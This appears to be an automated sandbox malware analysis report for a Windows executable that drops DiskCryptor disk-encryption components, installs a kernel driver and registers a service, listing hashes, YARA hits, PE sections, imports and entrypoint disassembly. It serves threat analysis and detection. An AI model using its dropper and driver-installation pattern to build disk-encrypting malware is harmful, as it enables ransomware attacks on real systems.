Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: 09490699.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Disgusting\7z.dll	bigcos.exe	Get hash	malicious	Unknown	Browse
	SyncroInstaller.msi	Get hash	malicious	Unknown	Browse
	update.exe	Get hash	malicious	Unknown	Browse
	https://chocolatey.org/install.ps1	Get hash	malicious		Browse
C:\Disgusting\13.exe	bigcos.exe	Get hash	malicious	Unknown	Browse
	SyncroInstaller.msi	Get hash	malicious	Unknown	Browse
	update.exe	Get hash	malicious	Unknown	Browse
	https://chocolatey.org/install.ps1	Get hash	malicious		Browse

Created / dropped Files

C:\Disgusting\13.exe

Download File

Process:	C:\Users\user\Desktop\09490699.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	290816
Entropy (8bit):	6.5071152934174465
Encrypted:	false
SSDEEP:	6144:bW+Dffz1gUZ3sOeNw0VqIJ/uJn9tvq3v3/sSQJw1T:bW+Dfhg0cvd5JIDvTJw1
MD5:	A42B35F975D88C1370A7AFF084EE57A7
SHA1:	BEE1408FE0B15F6F719F003E46AEE5EC424CF608
SHA-256:	56CC9E7E3767C0CFFAE8161BF0AD13457487C1B422E2879B897DBD4BAB115776
SHA-512:	B92D05515E18277DB660118934E70678EE2A3BB66005BAD19BB417FFAEDB22A63727A5A697CA3AC0F6C48F6F5593BA45AB80F4EBDC0EAED10D80B7AF04D45B23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: bigcos.exe, Detection: malicious, Browse Filename: SyncroInstaller.msi, Detection: malicious, Browse Filename: update.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........3...R..R..R...N..R...M..R...N..R...M..R...M..R...Z..R..R...R...Z..R..t...R...9.R.....R..VT..R..Rich.R..........................PE..L....l(\.................l...".......=............@.......................................@..................................-..x...............................L-...................................................................................text....k.......l.................. ..`.rdata..\|............p..............@..@.data...P'...@.......*..............@....sxdata......p.......0..............@....rsrc................2..............@..@.reloc...5.......6...:..............@..B................................................................................................................................................................................................................................................

C:\Disgusting\50

Download File

Process:	C:\Users\user\Desktop\09490699.exe
File Type:	7-zip archive data, version 0.4
Category:	dropped
Size (bytes):	130091
Entropy (8bit):	7.998606242544185
Encrypted:	true
SSDEEP:	3072:/feZayma19aVY/WRQVtEDPQQNleebsd4Qeg52RyTYHfgJ:/GJ9aafKDPpHtQe+W/4J
MD5:	17001C4B91CCFAE0D737F2D368566541
SHA1:	29609A5B3E73D86000093282B0EC8EC33F027393
SHA-256:	11E5B46BB38E0DBED53DE6BB67F777A5CB57F81F2011A14A55BD2BB25644F569
SHA-512:	CE16012ABD13BCA5610006676A41B7F090FD1DDA9E538D01B05FE82FEB0DD39D36F4309540B511F9EE52654AF5E1C5F358BC735C01E4E6320D95639C5C910671
Malicious:	false
Preview:	7z..'.....A[........$..........O..r..].&..p.........../D.N....LE .f...E..g]].. ..j5}.5...lX..^.c>1".B...;..8............g.c.f......h8F.z."......,...ik;.....T...o.`gq79h.H.8....Tf..V6:,.6%De..Qc\=.m.y.w=.....H...o..}u;5.......6$/.'.<.\~..H.89...S....F..L....x.eKb...._P9..sQ.{.S........A...nz.e;..J./....v.%7....ae.....\.\|S......J.1.U....+.48.D~..e.F...D.p.2%.....uz..fH.j..M@.U.........`.....Xb..2..D3c..'ddbt..Yl\i........A.!H]...}}..1'.a...\.....^pC...6"O.....<U.H...9/....2=VG..(7..]...C8.1...b..`S_...`..{.2w....A~{../!.....@...FS#+ZN.W..M-.....<.4..O\!.`.s..?..].@..k.3..:..R..t.....i.b..=....p.^.{.....%...E1l.+?..SK.[....M..+.......v.. ....`^v.{n...v..H.u..Y......!t..S....-..ic8.i..(=.F>..."L1...J.as...F..:~]O....?V.ki...g.*....0K.P..t.L.(#.........=..9..7..DJ.Z...rb.T.e........p+...O.\._..qJp.&H.....y..d.......HW..!N.T...c>.....[.2....=.3.4.!..=%A....I..X.B.~.c.tf%..i...~7..Ls"../......2.5&.q.b..QfY..ck...).b...W...n&M...?.Iyudv..L...g..4._.

C:\Disgusting\7z.dll

Download File

Process:	C:\Users\user\Desktop\09490699.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1140224
Entropy (8bit):	6.5968192524219535
Encrypted:	false
SSDEEP:	24576:0z+JvxNkWnteez2uuj6FKpCdouNOkiTONXrnl+A4wrvL4/kUjhB9:06JvbrnFz2uuj6FKpHuzXrn8A9zLIkUx
MD5:	8915C81B1DA3F8E9AC6D9CB7F9B7C105
SHA1:	4F9F117EAB2E75DF3C2CD85BBAD307D58990657D
SHA-256:	92F6E97C9177361EE5425826585E6E4470052A36BB4E0D0E8667E83B41652C2F
SHA-512:	8F4440FC3028A16F76DEEE8B14BAB3E973BC4E66E9CEFA0FB862D3C010465AE0D1D1A592B6F97D18F4FA123379D85D6C15081F67A8383EB19D96FB84771FDBB7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: bigcos.exe, Detection: malicious, Browse Filename: SyncroInstaller.msi, Detection: malicious, Browse Filename: update.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T.2Y.w\..w\..w\..hW..w\..kR..w\..hV..w\..hX..w\......w\..w].pw\......w\.&QW..w\.&QV..w\.....5w\......w\..qZ..w\..WX..w\.Rich.w\.................PE..L....l(\...........!.....~...f............................................... ............@..........................`..y....Y..d........{......................T{......................................................T............................text...E}.......~.................. ..`.rdata..y...........................@..@.data........p.......T..............@....sxdata..............Z..............@....rsrc....{.......\|...\..............@..@.reloc.............................@..B................................................................................................................................................................................................................................................

C:\Disgusting\dcapi.dll

Download File

Process:	C:\Disgusting\13.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	216576
Entropy (8bit):	6.51676035376353
Encrypted:	false
SSDEEP:	6144:4JOXgVvT/irENNWTnNUFpn7qqDLKNVnnIl:Bs/uEZpn2qnknn8
MD5:	6299E7F901517D7167D3AFF5FA66A30B
SHA1:	69E4D05A36E2E925050A72D532CCE0DA3091BF8C
SHA-256:	8688EA09E4B59A50C983FF9A27AB4476AB0498C504B227C58A5AFC3713BFDAB2
SHA-512:	CF1F4AEA47B6B192F44849503C681787C24711FE1A8293B7D68150654A37CB9ADFE0D469CB5721251C080A9AC8C784541AAD53CEA5AAD25EFD8DAE7DCF97F862
Malicious:	true
Yara Hits:	Rule: INDICATOR_TOOL_ENC_DiskCryptor, Description: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions, Source: C:\Disgusting\dcapi.dll, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.+.`.E.`.E.`.E.i..b.E.i..X.E.i...o.E.`.E.f.E.i..k.E.`.D..E.GZ;.a.E.{..q.E.{..a.E.{..a.E.{..a.E.Rich`.E.................PE..d...K^I\.........." .........j......8.....................................................@.........................................P........z..x.......p.......\............p..(.......................................................(............................text............................... ..`.rdata../...........................@..@.data...D+.......&...z..............@....pdata..\...........................@..@.rsrc...p...........................@..@.reloc.......p.......L..............@..B................................................................................................................................................................................................................................................

C:\Disgusting\dccon.exe

Download File

Process:	C:\Disgusting\13.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	5.099019509484504
Encrypted:	false
SSDEEP:	768:PTwGmjUhT/a6JY4Xt0O9RJ6ChvYZFAURaIfCG7YGdDqxr0AT1QiQNkS2qg70H+XC:LwGra6J9SgJlhuHqxr0Rigg708I
MD5:	6739716D534E3867C5E5121FAAFD2F47
SHA1:	6C54A6F93F4DDBA093684E6EFB0368C5D8330DB1
SHA-256:	1EEAC62E1903C9E1F1F20837A89881F4386778F54752419AAD90F89A8CA49F64
SHA-512:	80973C8AA52A688813B937FF174DA9B5178564455FF8F723C691E404A924EF2B9854A397E77F99FCE3FD5063092DC059812697FA36400A4485A7BFFBCF623533
Malicious:	true
Yara Hits:	Rule: INDICATOR_TOOL_ENC_DiskCryptor, Description: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions, Source: C:\Disgusting\dccon.exe, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B...#..#..#..[f..#..[p..#..[w..#..[`..#..o..#..#.e#....#..]..#..i..#..n..#.Rich.#.................PE..d...[^I\.........."......H.....................@.............................@............@.................................................0...P.... ..0....................0.......................................................`..x............................text....G.......H.................. ..`.rdata..>p...`...r...L..............@..@.data...4/..........................@....pdata..............................@..@.rsrc...0.... ......................@..@.reloc..D....0......................@..B........................................................................................................................................................................................................................................................

C:\Disgusting\dcinst.exe

Download File

Process:	C:\Disgusting\13.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.992172592669664
Encrypted:	false
SSDEEP:	192:85asM53R9ePzCJE+1jNH8Hmi/+bZMziIb/9JjlL:0i9NE+DQ+Q/RJ
MD5:	FF5F598D99FD00F998FFA8DAC3BB620A
SHA1:	4B2210A64025EC0E3EC74990A4433D28A22ABB37
SHA-256:	F2A45D08FE2B4CFF2D68C1AD2C204EC221428230F98D250B612EB0F27D92A636
SHA-512:	8D7DC9ECB18CDFDBD5DA947E25B781C96E1D9A65BCF423958D73AFFAFEBA09340B5A7F193269BA6ABF0D92875702AA0DFEA34636E9FB4C7349C52954BD5522C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W.............Q......G.,....@......W......X.......v..4C.......n......^......Y....Rich...........PE..d...L^I\.........."............................@.............................p...... .....@................................................. #..P....P..H....@...............`....................................................... ..h............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...H....P......................@..@.reloc..h....`.......$..............@..B................................................................................................................................................................................................................................................................

C:\Disgusting\dcrypt.sys

Download File

Process:	C:\Disgusting\13.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	210632
Entropy (8bit):	6.677691827536191
Encrypted:	false
SSDEEP:	3072:zCBsPmcx7BTn/irEsrDUxo2vYsWwYEJOXKVviEWuwlVBgzUMqqDLW+z3AHW5:8sPnBT/irETNWiJOXKVvKBgz3qqDL1zt
MD5:	EDB72F4A46C39452D1A5414F7D26454A
SHA1:	08F94684E83A27F2414F439975B7F8A6D61FC056
SHA-256:	0B2F863F4119DC88A22CC97C0A136C88A0127CB026751303B045F7322A8972F6
SHA-512:	D62A19436ABA8B2D181C065076B4AB54D7D8159D71237F83F1AFF8C3D132A80290AF39A8142708ACB468D78958C64F338BA6AD0CAB9FBAC001A6A0BDDC0E4FAA
Malicious:	true
Yara Hits:	Rule: INDICATOR_TOOL_ENC_DiskCryptor, Description: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions, Source: C:\Disgusting\dcrypt.sys, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............~...~...~...~..~.....w.~..x...~..x....~..#...~..#....~..#....~.Rich..~.................PE..d...9.S.........."......\...........0.......................................p............. .................................................0..P....P....... ...............`..t...0d...............................................`..(............................text...WI.......J.................. ..h.rdata...\|...`...~...N..............@..H.data....0......."..................@....pdata....... ......................@..HINIT.........0...................... ....rsrc........P......................@..B.reloc..L....`......................@..B........................................................................................................................................................................................................................................

C:\Windows\System32\drivers\dcrypt.sys

Download File

Process:	C:\Disgusting\dcinst.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	210632
Entropy (8bit):	6.677691827536191
Encrypted:	false
SSDEEP:	3072:zCBsPmcx7BTn/irEsrDUxo2vYsWwYEJOXKVviEWuwlVBgzUMqqDLW+z3AHW5:8sPnBT/irETNWiJOXKVvKBgz3qqDL1zt
MD5:	EDB72F4A46C39452D1A5414F7D26454A
SHA1:	08F94684E83A27F2414F439975B7F8A6D61FC056
SHA-256:	0B2F863F4119DC88A22CC97C0A136C88A0127CB026751303B045F7322A8972F6
SHA-512:	D62A19436ABA8B2D181C065076B4AB54D7D8159D71237F83F1AFF8C3D132A80290AF39A8142708ACB468D78958C64F338BA6AD0CAB9FBAC001A6A0BDDC0E4FAA
Malicious:	true
Yara Hits:	Rule: INDICATOR_TOOL_ENC_DiskCryptor, Description: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions, Source: C:\Windows\System32\drivers\dcrypt.sys, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............~...~...~...~..~.....w.~..x...~..x....~..#...~..#....~..#....~.Rich..~.................PE..d...9.S.........."......\...........0.......................................p............. .................................................0..P....P....... ...............`..t...0d...............................................`..(............................text...WI.......J.................. ..h.rdata...\|...`...~...N..............@..H.data....0......."..................@....pdata....... ......................@..HINIT.........0...................... ....rsrc........P......................@..B.reloc..L....`......................@..B........................................................................................................................................................................................................................................

C:\servicereg.log

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	28
Entropy (8bit):	3.678439190827718
Encrypted:	false
SSDEEP:	3:4A4AnXjzSv:4HAnXjg
MD5:	A8F4D690C5BDE96AD275C7D4ABE0E3D3
SHA1:	7C62C96EFD2CA4F3C3EBF0B24C9B5B4C04A4570A
SHA-256:	596CCC911C1772735AAC6A6B756A76D3D55BCECD006B980CF147090B2243FA7B
SHA-512:	A875EBE3C5CDF222FF9D08576F4D996AF827A1C86B3E758CE23F6B33530D512A82CE8E39E519837512080C6212A0A19B3385809BE5F5001C4E488DD79550B852
Malicious:	false
Preview:	[SC] CreateService SUCCESS..

C:\servicestart.log

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	409
Entropy (8bit):	3.464169852691203
Encrypted:	false
SSDEEP:	6:lg3D/8FtTgVKBRjrvnsn8qLLFmLaZnsHgm66//Vh//m6fq:lgArgV0HvGZLQqOVxmIq
MD5:	DB3A0928C0B2CF29F49D60A78ECE5383
SHA1:	94FF2B8B1DDACF7D6E4536094E7238FB23D1B613
SHA-256:	C2E4EA1BFD6CCB8E066F8FCBC0B13ABA258932DE5C2085B407C2181E9934D8DC
SHA-512:	54B9D49BCE03E210BE5136E7446DD73EDBC802879B4946C72B792722C0B6472A216826755C319F40153B8CAFAF60C27BABC6A6587FA43CF07852A8E5A5BEDD94
Malicious:	false
Preview:	..SERVICE_NAME: JPfnJ .. TYPE : 10 WIN32_OWN_PROCESS .. STATE : 4 RUNNING .. (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN).. WIN32_EXIT_CODE : 0 (0x0).. SERVICE_EXIT_CODE : 0 (0x0).. CHECKPOINT : 0x0.. WAIT_HINT : 0x0.. PID : 4564.. FLAGS : ..

Static File Info

General

File type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.838942362048295
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	09490699.exe
File size:	4408320
MD5:	3aab057312f4f899b322f3f282eba2f3
SHA1:	53907d8c91acd85e53c058562a7f61e998bd9002
SHA256:	d69ab6b8780792026dc20e123afbb0e8eab342cbe19b705cb2e1e03d19551986
SHA512:	fc0a9d718e0d6a7e2f03add1ec9511d38c9d13a7ed10afa974f63d7db8ff09e1a6b79f0a6e025d15a1993451d93177932fa5b6868a9f886324d71af040b128d5
SSDEEP:	98304:l7uFXK3RGjr6hbrFjuj6gOzZPuGjr6hbrFjuj6gOzZP:lIK3Q36tpjuj6gYP736tpjuj6gYP
TLSH:	3516AF11F7B2C4B4C98705714A1AFBF650B4E72D88209CD7A7C4EE5DAF32CD2D129A1A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...H........................@C..$................@...........................C.......*....... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x401280
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x2A68A48 [Sun May 30 16:26:48 1971 UTC]
TLS Callbacks:	0x42b0f0, 0x42b0a0, 0x437240
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f0668a314ba5d4392ffaa4e2d7f980ef

Entrypoint Preview

Instruction
sub esp, 1Ch
mov dword ptr [esp], 00000001h
call dword ptr [00502438h]
call 00007F0024B8A1C0h
lea esi, dword ptr [esi+00h]
lea edi, dword ptr [edi+00000000h]
sub esp, 1Ch
mov dword ptr [esp], 00000002h
call dword ptr [00502438h]
call 00007F0024B8A1A0h
lea esi, dword ptr [esi+00h]
lea edi, dword ptr [edi+00000000h]
mov eax, dword ptr [0050247Ch]
jmp eax
mov esi, esi
lea edi, dword ptr [edi+00000000h]
mov eax, dword ptr [00502464h]
jmp eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword ptr [004EE5D0h]
test eax, eax
je 00007F0024B8A48Ch
mov dword ptr [esp], 004EF000h
call 00007F0024BC62EAh
sub esp, 04h
test eax, eax
mov edx, 00000000h
je 00007F0024B8A467h
mov dword ptr [esp+04h], 004EF00Eh
mov dword ptr [esp], eax
call 00007F0024BC62D6h
sub esp, 08h
mov edx, eax
test edx, edx
je 00007F0024B8A45Bh
mov dword ptr [esp], 004EE5D0h
call edx
mov dword ptr [esp], 00401340h
call 00007F0024B8A3E0h
leave
ret
mov esi, esi
lea edi, dword ptr [edi+00000000h]
push ebp
mov ebp, esp
pop ebp
ret
nop
nop

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x102000	0x1110	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x106000	0x336bb0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x105004	0x18	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1022e0	0x27c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xec20c	0xec400	False	0.35927579365079365	data	6.187435097107904	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xee000	0x5d4	0x600	False	0.2688802083333333	DOS executable (block device driver)	2.660500415480139	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xef000	0xda34	0xdc00	False	0.29380326704545456	data	5.577006554493379	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.eh_fram	0xfd000	0x1650	0x1800	False	0.3333333333333333	data	4.695360378922919	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0xff000	0x2340	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x102000	0x1110	0x1200	False	0.3682725694444444	data	5.1934125537168745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x104000	0x1c	0x200	False	0.05078125	data	0.1755262916558982	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x105000	0x20	0x200	False	0.05859375	data	0.21405875520435458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x106000	0x336bb0	0x336c00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type
RT_RCDATA	0x106118	0x3b6	JSON data
RT_RCDATA	0x1064ce	0x47000	PE32 executable (console) Intel 80386, for MS Windows
RT_RCDATA	0x14d4ce	0x116600	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
RT_RCDATA	0x263ace	0x1ded9	7-zip archive data, version 0.4
RT_RCDATA	0x2819a7	0x1fc2b	7-zip archive data, version 0.4

Imports

DLL	Import
ADVAPI32.DLL	CloseServiceHandle, CreateServiceW, DeleteService, OpenSCManagerW, OpenServiceW, RegisterServiceCtrlHandlerW, SetServiceStatus, StartServiceCtrlDispatcherW
KERNEL32.dll	AddAtomA, CloseHandle, CreateDirectoryW, CreateEventA, CreateEventW, CreateMutexA, CreateProcessA, CreateProcessW, CreateSemaphoreA, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, ExitProcess, FindAtomA, FindResourceW, GetAtomNameA, GetCommandLineA, GetCurrentProcess, GetCurrentThread, GetCurrentThreadId, GetHandleInformation, GetLastError, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleW, GetProcAddress, GetProcessAffinityMask, GetStartupInfoA, GetSystemDirectoryW, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, InitializeCriticalSection, InterlockedDecrement, InterlockedExchange, InterlockedExchangeAdd, InterlockedIncrement, IsDBCSLeadByteEx, LeaveCriticalSection, LoadResource, LockResource, MultiByteToWideChar, ReleaseMutex, ReleaseSemaphore, ResetEvent, ResumeThread, SetCriticalSectionSpinCount, SetCurrentDirectoryW, SetEvent, SetLastError, SetProcessAffinityMask, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SizeofResource, Sleep, SuspendThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WideCharToMultiByte
msvcrt.dll	_fdopen, _pclose, _popen, _read, _write
msvcrt.dll	__getmainargs, __mb_cur_max, __p__environ, __p__fmode, __set_app_type, _assert, _beginthreadex, _cexit, _endthreadex, _errno, _filelengthi64, _fstati64, _iob, _isctype, _lseeki64, _onexit, _pctype, _setjmp, _setmode, _vsnwprintf, abort, atexit, atoi, calloc, exit, fclose, fflush, fgetpos, fgets, fopen, fprintf, fputc, fputs, fread, free, fsetpos, fwrite, getc, getenv, getwc, iswctype, localeconv, longjmp, malloc, memchr, memcmp, memcpy, memmove, memset, printf, putc, putwc, realloc, setlocale, setvbuf, signal, sprintf, strchr, strcmp, strcoll, strerror, strftime, strlen, strtod, strtoul, strxfrm, system, towlower, towupper, ungetc, ungetwc, vfprintf, wcscoll, wcsftime, wcslen, wcsxfrm

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: cmd.exePID: 5136, Parent PID: 3292

General

Target ID:	0
Start time:	10:02:45
Start date:	09/06/2023
